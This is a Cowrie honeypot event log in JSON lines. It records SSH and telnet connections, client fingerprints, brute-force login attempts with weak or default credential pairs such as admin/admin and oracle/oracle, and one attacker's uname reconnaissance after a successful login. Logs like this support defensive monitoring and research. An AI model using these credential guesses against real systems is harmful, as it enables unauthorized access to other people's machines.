{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55220,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f7c54477b28","protocol":"ssh","message":"New connection: 91.92.42.133:55220 (159.203.135.109:22) [session: 5f7c54477b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:46.804089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:46.963395Z","src_ip":"91.92.42.133","session":"5f7c54477b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:46.966552Z","src_ip":"91.92.42.133","session":"5f7c54477b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:47.682054Z","src_ip":"91.92.42.133","session":"5f7c54477b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32866,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2e8bc8647f","protocol":"telnet","message":"New connection: 172.81.62.90:32866 (159.203.135.109:23) [session: 3d2e8bc8647f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:48.013767Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46980,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da9cf5a3a01","protocol":"ssh","message":"New connection: 87.251.64.176:46980 (10.17.0.5:22) [session: 4da9cf5a3a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:48.737335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:48.741452Z","src_ip":"87.251.64.176","session":"4da9cf5a3a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:48.834911Z","src_ip":"87.251.64.176","session":"4da9cf5a3a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:48.851914Z","src_ip":"91.92.42.133","session":"5f7c54477b28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:49.115072Z","src_ip":"87.251.64.176","session":"4da9cf5a3a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:49.211788Z","session":"4da9cf5a3a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:49.310880Z","src_ip":"87.251.64.176","session":"4da9cf5a3a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:49.540382Z","src_ip":"87.251.64.176","session":"4da9cf5a3a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.787503480911255,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:53.372348Z","src_ip":"172.81.62.90","session":"66339250d73e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51824,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d33e2e153da","protocol":"ssh","message":"New connection: 91.92.42.133:51824 (159.203.135.109:22) [session: 6d33e2e153da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:55.011793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:55.047869Z","src_ip":"91.92.42.133","session":"6d33e2e153da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:55.119545Z","src_ip":"91.92.42.133","session":"6d33e2e153da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:55.420560Z","src_ip":"91.92.42.133","session":"6d33e2e153da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:14:56.525263Z","src_ip":"91.92.42.133","session":"6d33e2e153da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51904,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c612f239c9a","protocol":"ssh","message":"New connection: 91.92.42.133:51904 (159.203.135.109:22) [session: 7c612f239c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:02.299189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:02.514420Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:02.523874Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:03.639744Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:04.120094Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:04.123891Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:04.369815Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:04.379014Z","src_ip":"91.92.42.133","session":"7c612f239c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55962,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3282a2d0465","protocol":"ssh","message":"New connection: 80.66.85.226:55962 (159.203.135.109:22) [session: e3282a2d0465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:05.433175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:05.437654Z","src_ip":"80.66.85.226","session":"e3282a2d0465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:05.522732Z","src_ip":"80.66.85.226","session":"e3282a2d0465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:05.795701Z","src_ip":"80.66.85.226","session":"e3282a2d0465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:06.883034Z","src_ip":"80.66.85.226","session":"e3282a2d0465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47628,"dst_ip":"159.203.135.109","dst_port":23,"session":"f962c8de9f3a","protocol":"telnet","message":"New connection: 128.199.8.54:47628 (159.203.135.109:23) [session: f962c8de9f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:19.332841Z"}
{"eventid":"cowrie.session.closed","duration":36.213053464889526,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:24.226694Z","src_ip":"172.81.62.90","session":"3d2e8bc8647f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":42534,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aaa23494cec","protocol":"ssh","message":"New connection: 112.216.108.62:42534 (159.203.135.109:22) [session: 3aaa23494cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:39.381732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:39.390492Z","src_ip":"112.216.108.62","session":"3aaa23494cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:39.593147Z","src_ip":"112.216.108.62","session":"3aaa23494cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa10203040","message":"login attempt [root/Aa10203040] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:40.407973Z","src_ip":"112.216.108.62","session":"3aaa23494cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:41.617246Z","src_ip":"112.216.108.62","session":"3aaa23494cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.480308294296265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:15:58.813000Z","src_ip":"128.199.8.54","session":"f962c8de9f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39022,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d29c846bb6","protocol":"ssh","message":"New connection: 194.113.233.25:39022 (159.203.135.109:22) [session: 42d29c846bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:02.390439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:02.394594Z","src_ip":"194.113.233.25","session":"42d29c846bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:02.486525Z","src_ip":"194.113.233.25","session":"42d29c846bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc789","message":"login attempt [root/zxc789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:02.755444Z","src_ip":"194.113.233.25","session":"42d29c846bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:03.847580Z","src_ip":"194.113.233.25","session":"42d29c846bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":52726,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba818c9d2292","protocol":"ssh","message":"New connection: 45.140.193.156:52726 (10.17.0.5:22) [session: ba818c9d2292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:06.199032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:16:06.203491Z","src_ip":"45.140.193.156","session":"ba818c9d2292","protocol":"ssh"}
